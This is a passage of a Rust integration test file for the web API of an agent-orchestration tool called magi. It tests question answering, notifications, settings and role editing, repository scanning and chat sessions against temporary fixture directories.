12309 assert_eq!(res.json()["answer"]["choice"], "hold");
12310 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12311 assert_eq!(res.json()["can_consult_chat"], false);
12312 assert_eq!(fx.post(&path, None).await.status, 409);
12313
12314 let mut talk = fx.talks().get(&talk.id).unwrap();
12315 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12316 let list = fx.get("/api/questions").await.json();
12317 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12318 assert_eq!(list[0]["origin_chat_closed"], true);
12319 assert_eq!(list[0]["can_consult_chat"], false);
12320
12321 fx.talks().remove(&talk.id).unwrap();
12322 let list = fx.get("/api/questions").await.json();
12323 assert_eq!(list[0]["origin_chat"], Value::Null);
12324 assert_eq!(list[0]["origin_chat_closed"], false);
12325 assert_eq!(list[0]["can_consult_chat"], false);
12326 }
12327
12328 #[tokio::test]
12329 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12330 let fx = Fixture::start().await;
12331 let store = fx.questions();
12332 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12333 store.beat(&id, ask::WaiterKind::Asker);
12334 assert_eq!(
12335 fx.get("/api/health").await.json()["questions_needs_owner"],
12336 1
12337 );
12338
12339 let res = fx
12345 .post(
12346 &format!("/api/questions/{id}/say"),
12347 Some(r#"{"body":"why not Postgres?"}"#),
12348 )
12349 .await;
12350 assert_eq!(res.status, 200, "{}", res.body);
12351 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12352 assert_eq!(
12353 fx.get("/api/health").await.json()["questions_needs_owner"],
12354 0,
12355 "waiting on the agent is not waiting on the owner"
12356 );
12357
12358 let mut q = store.get(&id).expect("get");
12362 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12363 .expect("reply");
12364 store.put(&mut q).expect("put");
12365 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12366 assert_eq!(
12367 fx.get("/api/health").await.json()["questions_needs_owner"],
12368 1,
12369 "the agent's reply is what should light the banner back up"
12370 );
12371 }
12372
12373 #[tokio::test]
12374 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12375 let fx = Fixture::start().await;
12376 let store = fx.questions();
12377
12378 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12379 let res = fx
12380 .post(
12381 &format!("/api/questions/{empty_id}/say"),
12382 Some(r#"{"body":" "}"#),
12383 )
12384 .await;
12385 assert_eq!(res.status, 400, "{}", res.body);
12386
12387 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12388 let mut answered = store.get(&answered_id).expect("get");
12389 answered
12390 .answer(Answer::Choice("SQLite".to_owned()))
12391 .expect("answer");
12392 store.put(&mut answered).expect("put");
12393 let res = fx
12394 .post(
12395 &format!("/api/questions/{answered_id}/say"),
12396 Some(r#"{"body":"still there?"}"#),
12397 )
12398 .await;
12399 assert_eq!(res.status, 409, "{}", res.body);
12400
12401 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12402 let mut abandoned = store.get(&abandoned_id).expect("get");
12403 abandoned.abandon("timed out");
12404 store.put(&mut abandoned).expect("put");
12405 let res = fx
12406 .post(
12407 &format!("/api/questions/{abandoned_id}/say"),
12408 Some(r#"{"body":"still there?"}"#),
12409 )
12410 .await;
12411 assert_eq!(res.status, 409, "{}", res.body);
12412 }
12413
12414 #[tokio::test]
12415 async fn an_answer_the_question_does_not_offer_is_refused() {
12416 let fx = Fixture::start().await;
12417 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12418 let path = format!("/api/questions/{id}/answer");
12419
12420 for body in [
12421 r#"{"choice":"Postgres"}"#,
12422 r#"{"text":"whatever you think"}"#,
12423 r#"{"choice":"Redis","text":"both"}"#,
12424 r#"{}"#,
12425 ] {
12426 let res = fx.post(&path, Some(body)).await;
12427 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12428 assert!(res.json()["error"].is_string(), "{}", res.body);
12429 }
12430 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12432 }
12433
12434 #[tokio::test]
12435 async fn a_free_text_question_takes_text_and_not_a_choice() {
12436 let fx = Fixture::start().await;
12437 let id = ask(&fx, "What should the flag be called?", &[]);
12438 fx.questions().beat(&id, ask::WaiterKind::Asker);
12439 let path = format!("/api/questions/{id}/answer");
12440
12441 assert_eq!(
12442 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12443 400
12444 );
12445 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12446 assert_eq!(res.status, 200, "{}", res.body);
12447 assert_eq!(res.json()["answer"]["text"], "--json");
12448 }
12449
12450 #[tokio::test]
12451 async fn an_unknown_question_is_a_json_404() {
12452 let fx = Fixture::start().await;
12453 let res = fx
12454 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12455 .await;
12456 assert_eq!(res.status, 404, "{}", res.body);
12457 assert!(res.json()["error"].is_string());
12458 }
12459
12460 #[tokio::test]
12461 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12462 let fx = Fixture::start().await;
12463 let questions = Questions::at(fx.home.path().join("questions"));
12464 let store = Notices::at(fx.home.path().join("notifications"));
12465 let mut q = ask::Question::new(
12466 "t1".into(),
12467 "conduct".into(),
12468 "conductor".into(),
12469 "Continue?".into(),
12470 String::new(),
12471 Vec::new(),
12472 );
12473 questions.put(&mut q).unwrap();
12474 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12475 n.covered_by = Some(q.id.clone());
12476 let n = store.raise(n).unwrap();
12477 let listed = fx.get("/api/notifications").await.json();
12478 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12479 questions
12480 .update(&q.id, |q| {
12481 q.abandon("run gone");
12482 Ok(())
12483 })
12484 .unwrap();
12485 let listed = fx.get("/api/notifications").await.json();
12486 assert!(listed["items"][0]["answerable_question"].is_null());
12487 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12488 assert!(
12489 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12490 .unwrap()
12491 .contains("answerable_question")
12492 );
12493 }
12494
12495 #[tokio::test]
12496 async fn notifications_list_read_dismiss_and_health_agree() {
12497 let fx = Fixture::start().await;
12498 let store = Notices::at(fx.home.path().join("notifications"));
12499 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12500 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12501
12502 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12503 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12504
12505 store
12506 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12507 .unwrap();
12508 let health = fx.get("/api/health").await.json();
12509 assert_eq!(health["notifications_unread"], 2);
12510 assert_ne!(
12511 health["notifications_rev"], rev0,
12512 "the badge must move live"
12513 );
12514
12515 let listed = fx.get("/api/notifications").await.json();
12516 assert_eq!(listed["unread"], 2);
12517 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12518 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12519
12520 let read = fx
12521 .post(&format!("/api/notifications/{}/read", a.id), None)
12522 .await;
12523 assert_eq!(read.status, 200, "{}", read.body);
12524 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12525
12526 let gone = fx
12527 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12528 .await;
12529 assert_eq!(gone.status, 200, "{}", gone.body);
12530 let listed = fx.get("/api/notifications").await.json();
12531 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12532 assert_eq!(listed["unread"], 0);
12533
12534 store.raise(Notice::info("x", "again")).unwrap();
12535 let all = fx.post("/api/notifications/read-all", None).await;
12536 assert_eq!(all.status, 200, "{}", all.body);
12537 assert_eq!(all.json()["marked"], 1);
12538 assert_eq!(
12539 fx.get("/api/health").await.json()["notifications_unread"],
12540 0
12541 );
12542
12543 let missing = fx.post("/api/notifications/nope/read", None).await;
12544 assert_eq!(missing.status, 404, "{}", missing.body);
12545 assert!(missing.json()["error"].is_string());
12546 }
12547
12548 #[tokio::test]
12555 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12556 let f = Fixture::start().await;
12557
12558 let res = f
12559 .post(
12560 "/api/queue",
12561 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12562 )
12563 .await;
12564
12565 assert_eq!(
12566 res.status, 405,
12567 "POST /api/queue must not be a route: {}",
12568 res.body
12569 );
12570 assert!(
12571 f.queue().list().is_empty(),
12572 "a task filed by a route that does not exist must not reach the disk"
12573 );
12574 assert_eq!(f.get("/api/queue").await.status, 200);
12577 }
12578
12579 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12581 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12582 .expect("checkout dir");
12583 }
12584
12585 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12587
12588 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12589 let tmp = TempDir::new().expect("tempdir");
12590 let repo = tmp.path().join("repo");
12591 std::fs::create_dir_all(&repo).expect("repo dir");
12592 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12593 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12594 if let Some(text) = machine_toml {
12595 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12596 std::fs::write(&machine, text).expect("machine toml");
12597 }
12598 (tmp, repo, machine)
12599 }
12600
12601 async fn settings_checkout(path: &FsPath, text: &str) {
12602 std::fs::create_dir_all(path).unwrap();
12603 std::fs::write(path.join("magi.toml"), text).unwrap();
12604 for args in [
12605 vec!["init", "-b", "main"],
12606 vec!["add", "magi.toml"],
12607 vec![
12608 "-c",
12609 "user.name=Test",
12610 "-c",
12611 "user.email=test@example.invalid",
12612 "commit",
12613 "-m",
12614 "fixture",
12615 ],
12616 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12617 vec![
12618 "symbolic-ref",
12619 "refs/remotes/origin/HEAD",
12620 "refs/remotes/origin/main",
12621 ],
12622 ] {
12623 crate::git::git(path, &args).await.unwrap();
12624 }
12625 }
12626
12627 #[tokio::test]
12628 async fn settings_context_handlers_validate_and_save_without_a_socket() {
12629 let (tmp, repo, machine) =
12630 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12631 let root = tmp.path().join("roots");
12632 let selected = root.join("host/owner/selected");
12633 settings_checkout(
12634 &selected,
12635 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12636 )
12637 .await;
12638 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12639 let before = std::fs::read(&machine).unwrap();
12640 let ui = Arc::new(
12641 Ui::new(
12642 Queue::at(tmp.path().join("queue")),
12643 Questions::at(tmp.path().join("questions")),
12644 Talks::at(tmp.path().join("talks")),
12645 tmp.path().join("runs"),
12646 tmp.path().to_path_buf(),
12647 repo.clone(),
12648 )
12649 .with_machine_config(Some(machine.clone())),
12650 );
12651 let query = || {
12652 Query(SettingsQuery {
12653 repo: Some(selected.clone()),
12654 })
12655 };
12656 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12657 assert!(v.error.is_none(), "{:?}", v.error);
12658 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12659 assert_eq!(conductor.source, "repo");
12660 assert_eq!(
12661 conductor.machine_value,
12662 Some(toml::Value::String("a".into()))
12663 );
12664 assert!(!conductor.editable);
12665 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12666 assert_eq!(
12667 judges.count.as_ref().unwrap().machine_value,
12668 Some(toml::Value::Integer(1))
12669 );
12670 assert!(
12671 !v.roles
12672 .iter()
12673 .find(|r| r.key == "reviewers")
12674 .unwrap()
12675 .editable
12676 );
12677 let unknown = || {
12678 Query(SettingsQuery {
12679 repo: Some(tmp.path().to_path_buf()),
12680 })
12681 };
12682 assert_eq!(
12683 settings_get(State(ui.clone()), unknown())
12684 .await
12685 .unwrap_err()
12686 .status,
12687 StatusCode::UNPROCESSABLE_ENTITY
12688 );
12689 let body = || {
12690 Ok(Json(RolesBody {
12691 revision: v.revision.clone(),
12692 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12693 counts: Default::default(),
12694 }))
12695 };
12696 assert_eq!(
12697 settings_put_roles(State(ui.clone()), unknown(), body())
12698 .await
12699 .unwrap_err()
12700 .status,
12701 StatusCode::UNPROCESSABLE_ENTITY
12702 );
12703 assert_eq!(std::fs::read(&machine).unwrap(), before);
12704 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12705 .await
12706 .unwrap();
12707 assert_eq!(
12708 saved.repo,
12709 selected.canonicalize().unwrap().display().to_string()
12710 );
12711 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12712 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12713 let fresh = root.join("host/owner/fresh");
12715 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12716 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12717 .await
12718 .unwrap();
12719 assert_eq!(fresh_view.repositories.len(), 3);
12720 }
12721
12722 #[tokio::test]
12723 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12724 let (tmp, repo, machine) = settings_dirs(
12725 "[roles]\nreviewers = [\"a\"]\n",
12726 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12727 );
12728 let root = tmp.path().join("roots");
12729 let selected = root.join("host/owner/selected");
12730 settings_checkout(
12731 &selected,
12732 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12733 )
12734 .await;
12735 let broken = root.join("host/owner/broken");
12736 settings_checkout(&broken, "[roles\nbroken").await;
12737 let machine_text = format!(
12738 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12739 toml::Value::String(root.display().to_string())
12740 );
12741 std::fs::write(&machine, &machine_text).unwrap();
12742 let originals: Vec<_> = [&repo, &selected, &broken]
12743 .iter()
12744 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12745 .collect();
12746 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12747 let default = f.get("/api/settings").await.json();
12748 assert_eq!(
12749 default["repo"],
12750 repo.canonicalize().unwrap().display().to_string()
12751 );
12752 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12753 let query = format!("?repo={}", selected.display());
12754 let res = f.get(&format!("/api/settings{query}")).await;
12755 assert_eq!(res.status, 200, "{}", res.body);
12756 let v = res.json();
12757 assert!(v["error"].is_null(), "{v}");
12758 assert_eq!(v["repositories"], default["repositories"]);
12759 let role = |key: &str| {
12760 v["roles"]
12761 .as_array()
12762 .unwrap()
12763 .iter()
12764 .find(|r| r["key"] == key)
12765 .unwrap()
12766 };
12767 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12768 assert_eq!(role("advisors")["source"], "repo");
12769 assert_eq!(role("advisors")["editable"], false);
12770 assert!(role("advisors")["machine_value"].is_null());
12771 assert_eq!(role("judges")["count"]["value"], 2);
12772 assert_eq!(role("judges")["count"]["machine_value"], 1);
12773 assert_eq!(role("judges")["count"]["source"], "repo");
12774 let source = role("judges")["count"]["source_path"].as_str().unwrap();
12775 assert!(
12776 source.contains("origin/main") && !source.contains("magi/config/"),
12777 "{source}"
12778 );
12779 assert_eq!(
12780 role("reviewers")["editable"],
12781 false,
12782 "default context outside roots must protect its declarations"
12783 );
12784 let body =
12785 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12786 let unknown = format!("?repo={}", tmp.path().display());
12787 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12788 assert_eq!(
12789 f.put(&format!("/api/settings/roles{unknown}"), &body)
12790 .await
12791 .status,
12792 422
12793 );
12794 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12795 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12796 .to_string();
12797 assert_eq!(
12798 f.put(&format!("/api/settings/roles{query}"), &refuse)
12799 .await
12800 .status,
12801 422
12802 );
12803 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12804 assert_eq!(saved.status, 200, "{}", saved.body);
12805 assert_eq!(saved.json()["repo"], v["repo"]);
12806 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12807 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12808 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12809 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12810 }
12811 let error = f
12812 .get(&format!("/api/settings?repo={}", broken.display()))
12813 .await;
12814 assert_eq!(error.status, 200);
12815 assert!(error.json()["error"]["message"].is_string());
12816 assert_eq!(error.json()["repositories"], default["repositories"]);
12817 }
12818
12819 #[tokio::test]
12820 async fn settings_get_reports_sources_and_the_advisors_fallback() {
12821 let (_tmp, repo, machine) =
12822 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12823 let f = Fixture::with_repo_and_machine(repo, machine).await;
12824 let res = f.get("/api/settings").await;
12825 assert_eq!(res.status, 200, "{}", res.body);
12826 let v = res.json();
12827 assert!(v["error"].is_null(), "{v}");
12828 let role = |k: &str| {
12829 v["roles"]
12830 .as_array()
12831 .and_then(|r| r.iter().find(|x| x["key"] == k))
12832 .cloned()
12833 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12834 };
12835 assert_eq!(role("judges")["source"], "machine");
12836 assert_eq!(role("judges")["editable"], true);
12837 assert_eq!(role("implementers")["source"], "default");
12838 let adv = role("advisors");
12839 assert_eq!(adv["fallback"], "judges");
12840 assert!(
12841 adv["seats"]
12842 .as_array()
12843 .is_some_and(|s| s.iter().all(|x| x == "b")),
12844 "{adv}"
12845 );
12846 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12847 assert_eq!(v["agents"][0]["source"], "repo");
12848 }
12849
12850 #[tokio::test]
12851 async fn settings_get_reports_a_config_that_does_not_parse() {
12852 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12853 let f = Fixture::with_repo_and_machine(repo, machine).await;
12854 let res = f.get("/api/settings").await;
12855 assert_eq!(res.status, 200, "{}", res.body);
12856 let v = res.json();
12857 assert!(v["error"]["message"].is_string(), "{v}");
12858 assert!(
12859 v["error"]["path"]
12860 .as_str()
12861 .is_some_and(|p| p.ends_with("magi.toml")),
12862 "{v}"
12863 );
12864 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12865 }
12866
12867 #[tokio::test]
12868 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12869 let (_tmp, repo, machine) = settings_dirs(
12870 SETTINGS_AGENTS,
12871 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
12872 );
12873 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12874 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12875 let rev = f.get("/api/settings").await.json()["revision"]
12876 .as_str()
12877 .expect("revision")
12878 .to_owned();
12879 let body = serde_json::json!({
12880 "revision": rev,
12881 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12882 })
12883 .to_string();
12884 let res = f.put("/api/settings/roles", &body).await;
12885 assert_eq!(res.status, 200, "{}", res.body);
12886 let text = std::fs::read_to_string(&machine).expect("machine");
12887 assert_eq!(
12888 text,
12889 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12890 );
12891 assert_eq!(
12892 std::fs::read(repo.join("magi.toml")).expect("read"),
12893 repo_before
12894 );
12895 let again = f.get("/api/settings").await.json();
12896 let judges = again["roles"]
12897 .as_array()
12898 .expect("roles")
12899 .iter()
12900 .find(|r| r["key"] == "judges")
12901 .expect("judges")
12902 .clone();
12903 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12904 let stale = f.put("/api/settings/roles", &body).await;
12906 assert_eq!(stale.status, 409, "{}", stale.body);
12907 }
12908
12909 #[tokio::test]
12910 async fn settings_counts_are_reported_and_saved() {
12911 let (_tmp, repo, machine) = settings_dirs(
12912 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12913 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12914 );
12915 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12916 let v = f.get("/api/settings").await.json();
12917 let count = |v: &serde_json::Value, k: &str| {
12918 v["roles"]
12919 .as_array()
12920 .and_then(|r| r.iter().find(|x| x["key"] == k))
12921 .map(|x| x["count"].clone())
12922 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12923 };
12924 let imp = count(&v, "implementers");
12925 assert_eq!(imp["value"], 2);
12926 assert_eq!(imp["source"], "machine");
12927 assert_eq!(imp["file_key"], "candidates");
12928 assert_eq!(imp["roster_len"], 2);
12929 assert_eq!(imp["backups"], 0);
12930 assert_eq!(count(&v, "judges")["source"], "default");
12931 assert_eq!(count(&v, "advisors")["min"], 0);
12932 assert_eq!(count(&v, "reviewers")["editable"], false);
12933 assert!(
12934 count(&v, "reviewers")["locked_reason"]
12935 .as_str()
12936 .is_some_and(|m| m.contains("graph.reviewers"))
12937 );
12938 assert!(count(&v, "fixer").is_null());
12939 let rev = v["revision"].as_str().expect("revision").to_owned();
12940 let body = serde_json::json!({
12941 "revision": rev,
12942 "roles": { "judges": ["b"] },
12943 "counts": { "implementers": 1, "advisors": 0 }
12944 })
12945 .to_string();
12946 let res = f.put("/api/settings/roles", &body).await;
12947 assert_eq!(res.status, 200, "{}", res.body);
12948 let text = std::fs::read_to_string(&machine).expect("machine");
12949 assert_eq!(
12950 text,
12951 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12952 );
12953 let after = f.get("/api/settings").await.json();
12954 assert_eq!(count(&after, "implementers")["value"], 1);
12955 assert_eq!(count(&after, "implementers")["backups"], 1);
12956 assert_eq!(count(&after, "advisors")["value"], 0);
12957 let before = std::fs::read_to_string(&machine).expect("machine");
12958 let rev = after["revision"].as_str().expect("revision").to_owned();
12959 for counts in [
12960 serde_json::json!({ "judges": 0 }),
12961 serde_json::json!({ "judges": "x" }),
12962 serde_json::json!({ "judges": 2.5 }),
12963 serde_json::json!({ "judges": -1 }),
12964 serde_json::json!({ "reviewers": 3 }),
12965 serde_json::json!({ "bogus": 3 }),
12966 ] {
12967 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12968 let res = f.put("/api/settings/roles", &body).await;
12969 assert_eq!(res.status, 422, "{counts}: {}", res.body);
12970 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12971 }
12972 }
12973
12974 #[tokio::test]
12975 async fn settings_put_refuses_without_touching_the_file() {
12976 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12977 let (_tmp, repo, machine) = settings_dirs(
12978 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12979 Some(machine_text),
12980 );
12981 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12982 let rev = f.get("/api/settings").await.json()["revision"]
12983 .as_str()
12984 .expect("revision")
12985 .to_owned();
12986 for roles in [
12987 serde_json::json!({ "judges": ["nope"] }),
12988 serde_json::json!({ "reviewers": ["b"] }),
12989 serde_json::json!({ "bogus": ["a"] }),
12990 ] {
12991 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12992 let res = f.put("/api/settings/roles", &body).await;
12993 assert_eq!(res.status, 422, "{roles}: {}", res.body);
12994 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12995 assert_eq!(
12996 std::fs::read_to_string(&machine).expect("machine"),
12997 machine_text
12998 );
12999 }
13000 }
13001
13002 #[tokio::test]
13003 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13004 let tmp = TempDir::new().expect("tempdir");
13005 let repo = tmp.path().join("repo");
13006 std::fs::create_dir_all(&repo).expect("repo dir");
13007 let root = tmp.path().join("root");
13008 make_checkout(&root, "github.com", "yukimemi", "magi");
13009 std::fs::write(
13010 repo.join("magi.toml"),
13011 format!(
13012 "[repos]\nroots = [{:?}]\n",
13013 root.to_string_lossy().into_owned()
13014 ),
13015 )
13016 .expect("write magi.toml");
13017
13018 let f = Fixture::with_repo(repo).await;
13019 let res = f.get("/api/repos").await;
13020 assert_eq!(res.status, 200, "{}", res.body);
13021 let list = res.json();
13022 let repos = list.as_array().expect("an array");
13023 assert_eq!(repos.len(), 1);
13024 assert_eq!(repos[0]["name"], "yukimemi/magi");
13025 assert!(
13026 repos[0]["path"]
13027 .as_str()
13028 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13029 "{list}"
13030 );
13031 }
13032
13033 #[tokio::test]
13034 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13035 let tmp = TempDir::new().expect("tempdir");
13036 let repo = tmp.path().join("repo");
13037 std::fs::create_dir_all(&repo).expect("repo dir");
13038 let root = tmp.path().join("root");
13039 make_checkout(&root, "github.com", "yukimemi", "magi");
13040 std::fs::write(
13041 repo.join("magi.toml"),
13042 format!(
13043 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13044 root.to_string_lossy().into_owned()
13045 ),
13046 )
13047 .expect("write magi.toml");
13048
13049 let f = Fixture::with_repo(repo).await;
13050 let first = f.get("/api/repos").await;
13051 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13052
13053 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13056 let second = f.get("/api/repos").await;
13057 assert_eq!(
13058 second.json().as_array().map(Vec::len),
13059 Some(1),
13060 "a fresh cache must not rescan inside the TTL"
13061 );
13062
13063 let refreshed = f.get("/api/repos?refresh=1").await;
13064 assert_eq!(
13065 refreshed.json().as_array().map(Vec::len),
13066 Some(2),
13067 "an explicit refresh must rescan even inside the TTL"
13068 );
13069 }
13070
13071 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13077
13078 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13082 let tmp = TempDir::new().expect("tempdir");
13083 let repo = tmp.path().join("repo");
13084 std::fs::create_dir_all(&repo).expect("repo dir");
13085 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13086 let f = Fixture::with_repo(repo.clone()).await;
13087 (tmp, repo, f)
13088 }
13089
13090 #[tokio::test]
13091 async fn posting_a_talk_with_remembered_choices_is_soft() {
13092 let (_tmp, _repo, f) = talk_fixture().await;
13093
13094 let good = f
13095 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13096 .await;
13097 assert_eq!(good.status, 201, "{}", good.body);
13098 assert_eq!(good.json()["persona"], "rei");
13099
13100 let stale = f
13102 .post(
13103 "/api/talks",
13104 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13105 )
13106 .await;
13107 assert_eq!(stale.status, 201, "{}", stale.body);
13108 let v = stale.json();
13109 assert_eq!(v["implementers"], 1);
13110 assert_ne!(v["persona"], "nobody");
13111 let typed = f
13112 .post(
13113 "/api/talks",
13114 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13115 )
13116 .await;
13117 assert_eq!(typed.status, 201, "{}", typed.body);
13118
13119 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13121 assert!(
13122 !strict.status.to_string().starts_with('2'),
13123 "{}",
13124 strict.body
13125 );
13126 }
13127
13128 #[tokio::test]
13129 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13130 let (_tmp, _repo, f) = talk_fixture().await;
13131
13132 let opened = f.post("/api/talks", None).await;
13135 assert_eq!(opened.status, 201, "{}", opened.body);
13136 let body = opened.json();
13137 assert_eq!(body["status"], "open");
13138 assert_eq!(
13139 body["turns"].as_array().unwrap().len(),
13140 0,
13141 "opening takes no agent turn: there is nothing yet to answer"
13142 );
13143
13144 let also_opened = f.post("/api/talks", Some("{}")).await;
13146 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13147
13148 let listed = f.get("/api/talks").await.json();
13149 assert_eq!(listed.as_array().unwrap().len(), 2);
13150 }
13151
13152 #[tokio::test]
13153 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13154 let tmp = TempDir::new().expect("tempdir");
13155 let repo = tmp.path().join("repo");
13156 std::fs::create_dir_all(&repo).expect("repo dir");
13157 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13158 std::fs::write(
13159 repo.join("magi.toml"),
13160 format!("{MOCK_AGENT_TOML}\n{second}"),
13161 )
13162 .expect("write magi.toml");
13163 let home = TempDir::new().expect("temp home");
13164 let talks = Talks::at(home.path().join("talks"));
13165 let ui = Arc::new(
13166 Ui::new(
13167 Queue::at(home.path().join("queue")),
13168 Questions::at(home.path().join("questions")),
13169 talks.clone(),
13170 home.path().join("runs"),
13171 home.path().to_path_buf(),
13172 repo.clone(),
13173 )
13174 .with_worktrees_root(home.path().join("wt")),
13175 );
13176 let cfg = config_for(&repo).await.expect("discover config");
